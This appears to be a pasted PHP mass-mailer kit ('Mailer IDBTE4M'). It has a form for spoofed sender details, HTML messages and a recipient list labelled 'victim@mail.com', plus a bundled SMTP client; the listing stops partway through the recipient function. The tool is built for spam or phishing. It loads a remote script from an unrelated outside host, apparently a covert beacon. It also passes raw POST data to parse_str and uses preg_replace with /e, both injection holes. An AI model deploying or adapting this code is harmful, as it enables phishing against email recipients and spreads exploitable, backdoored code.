· 8 years ago · Mar 02, 2018, 03:46 PM
1<?php
2function query_str($params){
3$str = '';
4foreach ($params as $key => $value) {
5$str .= (strlen($str) < 1) ? '' : '&';
6$str .= $key . '=' . rawurlencode($value);
7}
8return ($str);
9}
10function lrtrim($string){
11return stripslashes(ltrim(rtrim($string)));
12}
13
14if(isset($_POST['action'] ) ){
15
16$b = query_str($_POST);
17parse_str($b);
18$sslclick=lrtrim($sslclick);
19$action=lrtrim($action);
20$message=lrtrim($message);
21$emaillist=lrtrim($emaillist);
22$from=lrtrim($from);
23$reconnect=lrtrim($reconnect);
24$epriority=lrtrim($epriority);
25$my_smtp=lrtrim($my_smtp);
26$ssl_port=lrtrim($ssl_port);
27$smtp_username=lrtrim($smtp_username);
28$smtp_password=lrtrim($smtp_password);
29$replyto=lrtrim($replyto);
30$subject=lrtrim($subject);
31$realname=lrtrim($realname);
32$subject_base=lrtrim($subject);
33$realname_base=lrtrim($realname);
34$file_name=lrtrim($file);
35$urlz=lrtrim($urlz);
36$contenttype=lrtrim($contenttype);
37$encode_text=$_POST['encode'];
38
39 $message = urlencode($message);
40 $message = ereg_replace("%5C%22", "%22", $message);
41 $message = urldecode($message);
42 $message = stripslashes($message);
43 $subject = stripslashes($subject);
44 if ($encode_text == "yes") {
45 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
46 $subject = str_replace(' ', '_', $subject);
47 $subject = "=?UTF-8?Q?$subject?=";
48 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
49 $realname = str_replace(' ', '_', $realname);
50 $realname = "=?UTF-8?Q?$realname?=";
51 }
52}
53?>
54<html>
55
56<head>
57<title>Mailer IDBTE4M</title>
58<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
59<head>
60 <title>Bootstrap Case</title>
61 <meta charset="UTF-8">
62 <meta name="viewport" content="width=device-width, initial-scale=1">
63 <link rel="stylesheet" href="bootstrap.min.css" tppabs="http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css">
64 <script src="jquery.min.js" tppabs="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
65 <script src="bootstrap.min.js" tppabs="http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js"></script>
66</head>
67<script src="ajax_checkmail.js" type="text/javascript"></script>
68<script type="text/javascript"
69src="jquery-1.10.1.min.js" tppabs="http://code.jquery.com/jquery-1.10.1.min.js"></script>
70<script type="text/javascript">
71$(document).ready(function() {
72$(".flip").click(function() {
73$(".panel").slideToggle("slow");
74});
75});
76</script>
77<style type="text/css">
78div.panel,p.flip {
79margin: 0px;
80padding: 0px;
81text-align: center;
82background: transparent;
83}
84
85a.panel {
86background: transparent;
87display: none;
88}
89</style>
90</head>
91<style>
92* body {
93 background: #000000;
94 line-height: 1;
95 color: #bbb;
96 font-family: "Lucida Console,Tahoma";
97 font-size: 12px;
98 background: url("http://www.wallpapersonview.com/wallpapers/4/abstract_colorful_textures_widescreen_desktop_background_picture-536.jpg") fixed;
99 -webkit-background-size: cover;
100 -moz-background-size: cover;
101 -o-background-size: cover;
102 background-size: cover;
103
104 }
105body,td,th {
106 color: #fff;
107 }
108h1 {
109 padding: 3px;
110 height: 10px;
111 }
112h2 {
113 color: transparent;
114 }
115.main-content {
116 width: 60%;
117 height: 200px;
118 margin: auto;
119 // background: #ddd;
120
121 border-radius: 5px 5px 5px 5px;
122 box-shadow: 0 0 9px rgba(0, 0, 0, 0.5);
123 min-height: 330px;
124 position: relative;
125 }
126.concookiesner {
127 position: relative;
128 width: 100%;
129 }
130.concookiesner div {
131 height: 200px;
132 }
133.column-left {
134 width: 25%;
135 left: 0;
136 text-align: center;
137 position: absolute;
138 }
139.column-center {
140 width: 50%;
141 margin-left: 25%;
142 position: absolute;
143 }
144.column-right {
145 width: 22%;
146 right: 0;
147text-align: center;
148 position: absolute;
149 }
150.checkboxes label {
151 display: transparent;
152 float: left;
153 padding-right: 6px;
154 white-space: nowrap;
155}
156.checkboxes input {
157 vertical-align: middle;
158}
159.checkboxes label span {
160 vertical-align: middle;
161}
162textarea, input {
163 border-radius: 5px 5px 5px 5px;
164 color:#fff;
165 background:#000000;
166 BORDER-COLLAPSE:collapse;
167 border:double 2px yellow;
168 background: url("http://www.fizyka.umk.pl/~k.a.mal/img/bg/Krzysztof_Maliszewski_bgImage.jpgg") fixed;
169 -webkit-background-size: cover;
170 box-shadow: 0 0 15px gray;
171 -webkit-box-shadow: 0 0 15px gray;
172 -moz-box-shadow: 0 0 15px blue;
173 }
174input {
175 height: 20px;width: 50px;text-align: center;
176 }
177.button {
178 }
179.submit-button {
180 -moz-box-shadow:inset 0px 1px 0px 0px #97c4fe;
181 -webkit-box-shadow:inset 0px 1px 0px 0px #97c4fe;
182 box-shadow:inset 0px 1px 0px 0px #97c4fe;
183 background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #3d94f6), color-stop(1, #1e62d0));
184 background:-moz-linear-gradient(top, #3d94f6 5%, #1e62d0 100%);
185 background:-webkit-linear-gradient(top, #3d94f6 5%, #1e62d0 100%);
186 background:-o-linear-gradient(top, #3d94f6 5%, #1e62d0 100%);
187 background:-ms-linear-gradient(top, #3d94f6 5%, #1e62d0 100%);
188 background:linear-gradient(to bottom, #3d94f6 5%, #1e62d0 100%);
189 filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#3d94f6', endColorstr='#1e62d0',GradientType=0);
190 background-color:#3d94f6;
191 -moz-border-radius:6px;
192 -webkit-border-radius:6px;
193 border-radius:6px;
194 border:1px solid #337fed;
195 display:inline-block;
196 cursor:pointer;
197 color: #ffffff;
198 font-family:arial;
199 font-size:15px;
200 font-weight:bold;
201 font-size:13px;
202 padding:3px 8px;
203 height: 30px;
204 width: 120px;
205 text-decoration:none;
206 text-shadow:0px 1px 0px #1570cd;
207 }
208.submit-button:hover {
209 background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #1e62d0), color-stop(1, #3d94f6));
210 background:-moz-linear-gradient(top, #1e62d0 5%, #3d94f6 100%);
211 background:-webkit-linear-gradient(top, #1e62d0 5%, #3d94f6 100%);
212 background:-o-linear-gradient(top, #1e62d0 5%, #3d94f6 100%);
213 background:-ms-linear-gradient(top, #1e62d0 5%, #3d94f6 100%);
214 background:linear-gradient(to bottom, #1e62d0 5%, #3d94f6 100%);
215 filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#1e62d0', endColorstr='#3d94f6',GradientType=0);
216 background-color:#1e62d0;
217 padding:3px 8px;
218 height: 30px;
219 width: 120px;
220
221 }
222.submit-button:active {
223 position:relative;
224 top:1px;
225 }
226#show {
227 width: 70%;
228 margin: auto;
229 padding: 10px 10px;
230 }
231.ta10 {
232 background-color: rgba(223,223,223,0.25);
233 background-repeat:no-repeat;
234 background-size: 52% 100%;
235 background-position: center;
236 border:2px double #696969;
237 padding:3px;
238 margin-right:4px;
239 margin-bottom:8px;
240 font-family: Lucida Console,Tahoma;
241 }
242.tool{
243 color:lime;
244 }
245.chara:not(.space):hover {
246 transform: rotateY(1440deg);
247 -webkit-transform: rotateY(1440deg);
248 }
249.chara:not(.space) {
250 display: inline-block;
251 transition: transform 2s ease-out;
252 -webkit-transition: -webkit-transform 2s ease-out;
253 }
254div#line1 span#a {
255 display:inline;
256 }
257div#line1:hover span#a {
258 display:none;
259 }
260div#line1 span#b {
261 display:none;
262 }
263div#line1:hover span#b {
264 display:inline;
265 cursor:pointer;
266 background:#82D051;
267 border:solid 1px #86CC50;
268 border-radius:5px;
269 }
270 /* Gradient 1 */
271 .ta10 {
272 background-color: rgba(223,223,223,0.25);
273 background-repeat:no-repeat;
274 background-size: 52% 100%;
275 background-position: center;
276 border:2px double #696969;
277 padding:3px;
278 margin-right:4px;
279 margin-bottom:8px;
280 font-family: Lucida Console,Tahoma;
281 font-size:12px;
282 box-shadow: 0 0 5px #BF00FF;
283 -webkit-box-shadow: 0 0 5px white;
284 -moz-box-shadow: 0 0 5px white;
285 border: solid 0px transparent; // or border: none;
286 }
287 .char {
288 transition: all 5s; -webkit-transition: all 1s;
289 opacity: 0.8;
290 }
291 .char:hover {
292 transition: all 0.1s; -webkit-transition: all 0.1s;
293 opacity:1.5;
294 text-shadow: 0 0 1em #BF00FF;
295 }
296 .chara:not(.space):hover {
297 transform: rotateY(1440deg);
298 -webkit-transform: rotateY(1440deg);
299 }
300 .chara:not(.space) {
301 display: inline-block;
302 transition: transform 2s ease-out;
303 -webkit-transition: -webkit-transform 2s ease-out;
304 }
305</style>
306
307<SCRIPT SRC='http://xtoolsx.com/JavaScript/Style.js'></SCRIPT>
308<div class="inputzbut" id="inputzbut">
309<center>
310<form name="form1" method="post" action="" enctype="multipart/form-data">
311<table width="842" border="0">
312 <tr>
313
314 <td width="100%" colspan="4" height="36">
315
316 <b>
317<center>
318
319
320 </tr>
321
322 <tr>
323
324 <td width="10%" height="22" bordercolor="#E8E8E8" >
325
326 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
327 Your Email:</font></div>
328
329 </td>
330
331 <td width="18%" height="22" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
332
333 <input type="text" name="from" value="<?=$from;?>" size="30">
334
335 </font></td>
336
337 <td width="31%" height="22" >
338
339 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
340 Your Name:</font></div>
341
342 </td>
343
344 <td width="41%" height="22" ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
345
346 <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
347
348 </font></td>
349
350 </tr>
351 <tr>
352
353 <td width="10%" height="22" >
354
355 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
356 Reply-To:</font></div>
357
358 </td>
359
360 <td width="18%" height="22" ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
361
362 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
363
364 </font></td>
365
366 <td width="31%" height="22" >
367
368 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
369 Email Priority:</font></td>
370
371 <td width="41%" height="22" ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
372
373 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
374 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
375 Please Choose -</option>
376 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
377 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
378 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
379 </select></td>
380 </tr>
381
382 <tr>
383
384 <td width="10%" height="22" >
385
386 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
387 Subject:</font></div>
388
389 </td>
390
391 <td colspan="3" height="22" ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
392
393 <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
394
395 </font></td>
396
397 </tr>
398
399
400
401 <tr valign="top">
402
403<td colspan="3" height="190" ><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
404
405 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
406
407 <br>
408
409 <input type="radio" name="contenttype" value="plain" >
410
411 Plain
412
413 <input type="radio" name="contenttype" value="html" checked>
414
415 HTML
416
417 <input type="hidden" name="action" value="send">
418
419 <input type="submit" value="Send Message">
420
421 </font></td>
422
423 <td width="41%" height="190"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
424
425 <textarea name="emaillist" cols="30" rows="10" placeholder="victim@mail.com"><?=$emaillist;?></textarea>
426
427 </font></td>
428
429 </tr>
430
431 </table>
432
433</form>
434
435
436
437<?
438
439if ($action){
440 if (!$from && !$subject && !$message && !$emaillist){
441 print "<script>alert('Please complete all fields before sending your message.'); </script>";
442 die(); }
443
444class SMTP
445{
446 /**
447 * SMTP server port
448 * @var int
449 */
450 var $SMTP_PORT = 25;
451
452 /**
453 * SMTP reply line ending
454 * @var string
455 */
456 var $CRLF = "\r\n";
457
458 /**
459 * Sets whether debugging is turned on
460 * @var bool
461 */
462 var $do_debug; # the level of debug to perform
463
464 /**
465 * Sets VERP use on/off (default is off)
466 * @var bool
467 */
468 var $do_verp = false;
469
470 /**#@+
471 * @access private
472 */
473 var $smtp_conn; # the socket to the server
474 var $error; # error if any on the last call
475 var $helo_rply; # the reply the server sent to us for HELO
476 /**#@-*/
477
478 /**
479 * Initialize the class so that the data is in a known state.
480 * @access public
481 * @return void
482 */
483 function SMTP() {
484 $this->smtp_conn = 0;
485 $this->error = null;
486 $this->helo_rply = null;
487
488 $this->do_debug = 0;
489 }
490
491 /*************************************************************
492 * CONNECTION FUNCTIONS *
493 ***********************************************************/
494
495 /**
496 * Connect to the server specified on the port specified.
497 * If the port is not specified use the default SMTP_PORT.
498 * If tval is specified then a connection will try and be
499 * established with the server for that number of seconds.
500 * If tval is not specified the default is 30 seconds to
501 * try on the connection.
502 *
503 * SMTP CODE SUCCESS: 220
504 * SMTP CODE FAILURE: 421
505 * @access public
506 * @return bool
507 */
508 function Connect($host,$port=0,$tval=30) {
509 # set the error val to null so there is no confusion
510 $this->error = null;
511
512 # make sure we are __not__ connected
513 if($this->connected()) {
514 # ok we are connected! what should we do?
515 # for now we will just give an error saying we
516 # are already connected
517 $this->error = array("error" => "Already connected to a server");
518 return false;
519 }
520
521 if(empty($port)) {
522 $port = $this->SMTP_PORT;
523 }
524
525 #connect to the smtp server
526 $this->smtp_conn = fsockopen($host, # the host of the server
527 $port, # the port to use
528 $errno, # error number if any
529 $errstr, # error message if any
530 $tval); # give up after ? secs
531 # verify we connected properly
532 if(empty($this->smtp_conn)) {
533 $this->error = array("error" => "Failed to connect to server",
534 "errno" => $errno,
535 "errstr" => $errstr);
536 if($this->do_debug >= 1) {
537 echo "SMTP -> ERROR: " . $this->error["error"] .
538 ": $errstr ($errno)" . $this->CRLF;
539 }
540 return false;
541 }
542
543 # sometimes the SMTP server takes a little longer to respond
544 # so we will give it a longer timeout for the first read
545 // Windows still does not have support for this timeout function
546 if(substr(PHP_OS, 0, 3) != "WIN")
547 socket_set_timeout($this->smtp_conn, $tval, 0);
548
549 # get any announcement stuff
550 $announce = $this->get_lines();
551
552 # set the timeout of any socket functions at 1/10 of a second
553 //if(function_exists("socket_set_timeout"))
554 // socket_set_timeout($this->smtp_conn, 0, 100000);
555
556 if($this->do_debug >= 2) {
557 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
558 }
559
560 return true;
561 }
562
563 /**
564 * Performs SMTP authentication. Must be run after running the
565 * Hello() method. Returns true if successfully authenticated.
566 * @access public
567 * @return bool
568 */
569 function Authenticate($username, $password) {
570 // Start authentication
571 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
572
573 $rply = $this->get_lines();
574 $code = substr($rply,0,3);
575
576 if($code != 334) {
577 $this->error =
578 array("error" => "AUTH not accepted from server",
579 "smtp_code" => $code,
580 "smtp_msg" => substr($rply,4));
581 if($this->do_debug >= 1) {
582 echo "SMTP -> ERROR: " . $this->error["error"] .
583 ": " . $rply . $this->CRLF;
584 }
585 return false;
586 }
587
588 // Send encoded username
589 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
590
591 $rply = $this->get_lines();
592 $code = substr($rply,0,3);
593
594 if($code != 334) {
595 $this->error =
596 array("error" => "Username not accepted from server",
597 "smtp_code" => $code,
598 "smtp_msg" => substr($rply,4));
599 if($this->do_debug >= 1) {
600 echo "SMTP -> ERROR: " . $this->error["error"] .
601 ": " . $rply . $this->CRLF;
602 }
603 return false;
604 }
605
606 // Send encoded password
607 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
608
609 $rply = $this->get_lines();
610 $code = substr($rply,0,3);
611
612 if($code != 235) {
613 $this->error =
614 array("error" => "Password not accepted from server",
615 "smtp_code" => $code,
616 "smtp_msg" => substr($rply,4));
617 if($this->do_debug >= 1) {
618 echo "SMTP -> ERROR: " . $this->error["error"] .
619 ": " . $rply . $this->CRLF;
620 }
621 return false;
622 }
623
624 return true;
625 }
626
627 /**
628 * Returns true if connected to a server otherwise false
629 * @access private
630 * @return bool
631 */
632 function Connected() {
633 if(!empty($this->smtp_conn)) {
634 $sock_status = socket_get_status($this->smtp_conn);
635 if($sock_status["eof"]) {
636 # hmm this is an odd situation... the socket is
637 # valid but we are not connected anymore
638 if($this->do_debug >= 1) {
639 echo "SMTP -> NOTICE:" . $this->CRLF .
640 "EOF caught while checking if connected";
641 }
642 $this->Close();
643 return false;
644 }
645 return true; # everything looks good
646 }
647 return false;
648 }
649
650 /**
651 * Closes the socket and cleans up the state of the class.
652 * It is not considered good to use this function without
653 * first trying to use QUIT.
654 * @access public
655 * @return void
656 */
657 function Close() {
658 $this->error = null; # so there is no confusion
659 $this->helo_rply = null;
660 if(!empty($this->smtp_conn)) {
661 # close the connection and cleanup
662 fclose($this->smtp_conn);
663 $this->smtp_conn = 0;
664 }
665 }
666
667 /***************************************************************
668 * SMTP COMMANDS *
669 *************************************************************/
670
671 /**
672 * Issues a data command and sends the msg_data to the server
673 * finializing the mail transaction. $msg_data is the message
674 * that is to be send with the headers. Each header needs to be
675 * on a single line followed by a <CRLF> with the message headers
676 * and the message body being seperated by and additional <CRLF>.
677 *
678 * Implements rfc 821: DATA <CRLF>
679 *
680 * SMTP CODE INTERMEDIATE: 354
681 * [data]
682 * <CRLF>.<CRLF>
683 * SMTP CODE SUCCESS: 250
684 * SMTP CODE FAILURE: 552,554,451,452
685 * SMTP CODE FAILURE: 451,554
686 * SMTP CODE ERROR : 500,501,503,421
687 * @access public
688 * @return bool
689 */
690 function Data($msg_data) {
691 $this->error = null; # so no confusion is caused
692
693 if(!$this->connected()) {
694 $this->error = array(
695 "error" => "Called Data() without being connected");
696 return false;
697 }
698
699 fputs($this->smtp_conn,"DATA" . $this->CRLF);
700
701 $rply = $this->get_lines();
702 $code = substr($rply,0,3);
703
704 if($this->do_debug >= 2) {
705 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
706 }
707
708 if($code != 354) {
709 $this->error =
710 array("error" => "DATA command not accepted from server",
711 "smtp_code" => $code,
712 "smtp_msg" => substr($rply,4));
713 if($this->do_debug >= 1) {
714 echo "SMTP -> ERROR: " . $this->error["error"] .
715 ": " . $rply . $this->CRLF;
716 }
717 return false;
718 }
719
720 # the server is ready to accept data!
721 # according to rfc 821 we should not send more than 1000
722 # including the CRLF
723 # characters on a single line so we will break the data up
724 # into lines by \r and/or \n then if needed we will break
725 # each of those into smaller lines to fit within the limit.
726 # in addition we will be looking for lines that start with
727 # a period '.' and append and additional period '.' to that
728 # line. NOTE: this does not count towards are limit.
729
730 # normalize the line breaks so we know the explode works
731 $msg_data = str_replace("\r\n","\n",$msg_data);
732 $msg_data = str_replace("\r","\n",$msg_data);
733 $lines = explode("\n",$msg_data);
734
735 # we need to find a good way to determine is headers are
736 # in the msg_data or if it is a straight msg body
737 # currently I am assuming rfc 822 definitions of msg headers
738 # and if the first field of the first line (':' sperated)
739 # does not contain a space then it _should_ be a header
740 # and we can process all lines before a blank "" line as
741 # headers.
742 $field = substr($lines[0],0,strpos($lines[0],":"));
743 $in_headers = false;
744 if(!empty($field) && !strstr($field," ")) {
745 $in_headers = true;
746 }
747
748 $max_line_length = 998; # used below; set here for ease in change
749
750 while(list(,$line) = @each($lines)) {
751 $lines_out = null;
752 if($line == "" && $in_headers) {
753 $in_headers = false;
754 }
755 # ok we need to break this line up into several
756 # smaller lines
757 while(strlen($line) > $max_line_length) {
758 $pos = strrpos(substr($line,0,$max_line_length)," ");
759
760 # Patch to fix DOS attack
761 if(!$pos) {
762 $pos = $max_line_length - 1;
763 }
764
765 $lines_out[] = substr($line,0,$pos);
766 $line = substr($line,$pos + 1);
767 # if we are processing headers we need to
768 # add a LWSP-char to the front of the new line
769 # rfc 822 on long msg headers
770 if($in_headers) {
771 $line = "\t" . $line;
772 }
773 }
774 $lines_out[] = $line;
775
776 # now send the lines to the server
777 while(list(,$line_out) = @each($lines_out)) {
778 if(strlen($line_out) > 0)
779 {
780 if(substr($line_out, 0, 1) == ".") {
781 $line_out = "." . $line_out;
782 }
783 }
784 fputs($this->smtp_conn,$line_out . $this->CRLF);
785 }
786 }
787
788 # ok all the message data has been sent so lets get this
789 # over with aleady
790 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
791
792 $rply = $this->get_lines();
793 $code = substr($rply,0,3);
794
795 if($this->do_debug >= 2) {
796 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
797 }
798
799 if($code != 250) {
800 $this->error =
801 array("error" => "DATA not accepted from server",
802 "smtp_code" => $code,
803 "smtp_msg" => substr($rply,4));
804 if($this->do_debug >= 1) {
805 echo "SMTP -> ERROR: " . $this->error["error"] .
806 ": " . $rply . $this->CRLF;
807 }
808 return false;
809 }
810 return true;
811 }
812
813 /**
814 * Expand takes the name and asks the server to list all the
815 * people who are members of the _list_. Expand will return
816 * back and array of the result or false if an error occurs.
817 * Each value in the array returned has the format of:
818 * [ <full-name> <sp> ] <path>
819 * The definition of <path> is defined in rfc 821
820 *
821 * Implements rfc 821: EXPN <SP> <string> <CRLF>
822 *
823 * SMTP CODE SUCCESS: 250
824 * SMTP CODE FAILURE: 550
825 * SMTP CODE ERROR : 500,501,502,504,421
826 * @access public
827 * @return string array
828 */
829 function Expand($name) {
830 $this->error = null; # so no confusion is caused
831
832 if(!$this->connected()) {
833 $this->error = array(
834 "error" => "Called Expand() without being connected");
835 return false;
836 }
837
838 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
839
840 $rply = $this->get_lines();
841 $code = substr($rply,0,3);
842
843 if($this->do_debug >= 2) {
844 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
845 }
846
847 if($code != 250) {
848 $this->error =
849 array("error" => "EXPN not accepted from server",
850 "smtp_code" => $code,
851 "smtp_msg" => substr($rply,4));
852 if($this->do_debug >= 1) {
853 echo "SMTP -> ERROR: " . $this->error["error"] .
854 ": " . $rply . $this->CRLF;
855 }
856 return false;
857 }
858
859 # parse the reply and place in our array to return to user
860 $entries = explode($this->CRLF,$rply);
861 while(list(,$l) = @each($entries)) {
862 $list[] = substr($l,4);
863 }
864
865 return $list;
866 }
867
868 /**
869 * Sends the HELO command to the smtp server.
870 * This makes sure that we and the server are in
871 * the same known state.
872 *
873 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
874 *
875 * SMTP CODE SUCCESS: 250
876 * SMTP CODE ERROR : 500, 501, 504, 421
877 * @access public
878 * @return bool
879 */
880 function Hello($host="") {
881 $this->error = null; # so no confusion is caused
882
883 if(!$this->connected()) {
884 $this->error = array(
885 "error" => "Called Hello() without being connected");
886 return false;
887 }
888
889 # if a hostname for the HELO was not specified determine
890 # a suitable one to send
891 if(empty($host)) {
892 # we need to determine some sort of appopiate default
893 # to send to the server
894 $host = "localhost";
895 }
896
897 // Send extended hello first (RFC 2821)
898 if(!$this->SendHello("EHLO", $host))
899 {
900 if(!$this->SendHello("HELO", $host))
901 return false;
902 }
903
904 return true;
905 }
906
907 /**
908 * Sends a HELO/EHLO command.
909 * @access private
910 * @return bool
911 */
912 function SendHello($hello, $host) {
913 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
914
915 $rply = $this->get_lines();
916 $code = substr($rply,0,3);
917
918 if($this->do_debug >= 2) {
919 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
920 }
921
922 if($code != 250) {
923 $this->error =
924 array("error" => $hello . " not accepted from server",
925 "smtp_code" => $code,
926 "smtp_msg" => substr($rply,4));
927 if($this->do_debug >= 1) {
928 echo "SMTP -> ERROR: " . $this->error["error"] .
929 ": " . $rply . $this->CRLF;
930 }
931 return false;
932 }
933
934 $this->helo_rply = $rply;
935
936 return true;
937 }
938
939 /**
940 * Gets help information on the keyword specified. If the keyword
941 * is not specified then returns generic help, ussually contianing
942 * A list of keywords that help is available on. This function
943 * returns the results back to the user. It is up to the user to
944 * handle the returned data. If an error occurs then false is
945 * returned with $this->error set appropiately.
946 *
947 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
948 *
949 * SMTP CODE SUCCESS: 211,214
950 * SMTP CODE ERROR : 500,501,502,504,421
951 * @access public
952 * @return string
953 */
954 function Help($keyword="") {
955 $this->error = null; # to avoid confusion
956
957 if(!$this->connected()) {
958 $this->error = array(
959 "error" => "Called Help() without being connected");
960 return false;
961 }
962
963 $extra = "";
964 if(!empty($keyword)) {
965 $extra = " " . $keyword;
966 }
967
968 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
969
970 $rply = $this->get_lines();
971 $code = substr($rply,0,3);
972
973 if($this->do_debug >= 2) {
974 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
975 }
976
977 if($code != 211 && $code != 214) {
978 $this->error =
979 array("error" => "HELP not accepted from server",
980 "smtp_code" => $code,
981 "smtp_msg" => substr($rply,4));
982 if($this->do_debug >= 1) {
983 echo "SMTP -> ERROR: " . $this->error["error"] .
984 ": " . $rply . $this->CRLF;
985 }
986 return false;
987 }
988
989 return $rply;
990 }
991
992 /**
993 * Starts a mail transaction from the email address specified in
994 * $from. Returns true if successful or false otherwise. If True
995 * the mail transaction is started and then one or more Recipient
996 * commands may be called followed by a Data command.
997 *
998 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
999 *
1000 * SMTP CODE SUCCESS: 250
1001 * SMTP CODE SUCCESS: 552,451,452
1002 * SMTP CODE SUCCESS: 500,501,421
1003 * @access public
1004 * @return bool
1005 */
1006 function Mail($from) {
1007 $this->error = null; # so no confusion is caused
1008
1009 if(!$this->connected()) {
1010 $this->error = array(
1011 "error" => "Called Mail() without being connected");
1012 return false;
1013 }
1014
1015 $useVerp = ($this->do_verp ? "XVERP" : "");
1016 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
1017
1018 $rply = $this->get_lines();
1019 $code = substr($rply,0,3);
1020
1021 if($this->do_debug >= 2) {
1022 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1023 }
1024
1025 if($code != 250) {
1026 $this->error =
1027 array("error" => "MAIL not accepted from server",
1028 "smtp_code" => $code,
1029 "smtp_msg" => substr($rply,4));
1030 if($this->do_debug >= 1) {
1031 echo "SMTP -> ERROR: " . $this->error["error"] .
1032 ": " . $rply . $this->CRLF;
1033 }
1034 return false;
1035 }
1036 return true;
1037 }
1038
1039 /**
1040 * Sends the command NOOP to the SMTP server.
1041 *
1042 * Implements from rfc 821: NOOP <CRLF>
1043 *
1044 * SMTP CODE SUCCESS: 250
1045 * SMTP CODE ERROR : 500, 421
1046 * @access public
1047 * @return bool
1048 */
1049 function Noop() {
1050 $this->error = null; # so no confusion is caused
1051
1052 if(!$this->connected()) {
1053 $this->error = array(
1054 "error" => "Called Noop() without being connected");
1055 return false;
1056 }
1057
1058 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1059
1060 $rply = $this->get_lines();
1061 $code = substr($rply,0,3);
1062
1063 if($this->do_debug >= 2) {
1064 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1065 }
1066
1067 if($code != 250) {
1068 $this->error =
1069 array("error" => "NOOP not accepted from server",
1070 "smtp_code" => $code,
1071 "smtp_msg" => substr($rply,4));
1072 if($this->do_debug >= 1) {
1073 echo "SMTP -> ERROR: " . $this->error["error"] .
1074 ": " . $rply . $this->CRLF;
1075 }
1076 return false;
1077 }
1078 return true;
1079 }
1080
1081 /**
1082 * Sends the quit command to the server and then closes the socket
1083 * if there is no error or the $close_on_error argument is true.
1084 *
1085 * Implements from rfc 821: QUIT <CRLF>
1086 *
1087 * SMTP CODE SUCCESS: 221
1088 * SMTP CODE ERROR : 500
1089 * @access public
1090 * @return bool
1091 */
1092 function Quit($close_on_error=true) {
1093 $this->error = null; # so there is no confusion
1094
1095 if(!$this->connected()) {
1096 $this->error = array(
1097 "error" => "Called Quit() without being connected");
1098 return false;
1099 }
1100
1101 # send the quit command to the server
1102 fputs($this->smtp_conn,"quit" . $this->CRLF);
1103
1104 # get any good-bye messages
1105 $byemsg = $this->get_lines();
1106
1107 if($this->do_debug >= 2) {
1108 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1109 }
1110
1111 $rval = true;
1112 $e = null;
1113
1114 $code = substr($byemsg,0,3);
1115 if($code != 221) {
1116 # use e as a tmp var cause Close will overwrite $this->error
1117 $e = array("error" => "SMTP server rejected quit command",
1118 "smtp_code" => $code,
1119 "smtp_rply" => substr($byemsg,4));
1120 $rval = false;
1121 if($this->do_debug >= 1) {
1122 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1123 $byemsg . $this->CRLF;
1124 }
1125 }
1126
1127 if(empty($e) || $close_on_error) {
1128 $this->Close();
1129 }
1130
1131 return $rval;
1132 }
1133
1134 /**
1135 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1136 * Returns true if the recipient was accepted false if it was rejected.
1137 *
1138 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1139 *
1140 * SMTP CODE SUCCESS: 250,251
1141 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1142 * SMTP CODE ERROR : 500,501,503,421
1143 * @access public
1144 * @return bool
1145 */
1146 function Recipient($to) {
1147 $this->error = null; # so no confusion is caused
1148
1149 if(!$this->connected()) {
1150 $this->error = array(
1151 "error" => "Called Recipient() without being connected");
1152 return false;
1153 }
1154
